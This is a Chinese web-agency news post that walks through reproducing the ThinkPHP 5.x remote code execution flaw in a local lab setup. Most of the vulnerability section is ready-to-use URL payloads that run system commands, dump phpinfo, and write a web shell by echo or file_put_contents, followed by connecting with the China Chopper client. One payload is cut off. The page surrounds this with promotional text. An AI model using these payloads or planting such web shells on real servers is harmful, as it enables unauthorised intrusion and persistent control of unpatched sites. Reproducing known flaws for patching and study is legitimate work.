网站建设资讯

NEWS

网站建设资讯

怎么在ThinkPHP5.x中通过远程命令执行漏洞复现-创新互联

本篇文章为大家展示了怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

网站建设哪家好,找创新互联!专注于网页设计、网站建设、微信开发、重庆小程序开发、集团企业网站建设等服务项目。为回馈新老客户创新互联还提供了盐亭免费建站欢迎大家使用!

一、漏洞描述

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。


二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

6、查看是否成功写入shell

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

7、菜刀连接

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

9、查看是否成功写入文件

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

10、菜刀连接

怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现

thinkphp是什么

thinkphp属于一种免费的开发框架,能够用于开发前端网页,最早thinkphp是为了简化开发而产生的,thinkphp同时也是遵循Apache2协议,最初是从Struts演变过来,也把国外一些好的框架模式进行利用,使用面向对象的开发结构,兼容了很多标签库等模式,它能够更方便和快捷的开发和部署应用,当然不仅仅是企业级应用,任何php应用开发都可以从thinkphp的简单、兼容和快速的特性中受益。

上述内容就是怎么在ThinkPHP 5.x中通过远程命令执行漏洞复现,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注创新互联行业资讯频道。


分享文章:怎么在ThinkPHP5.x中通过远程命令执行漏洞复现-创新互联
分享地址:http://cdweb.net/article/deppij.html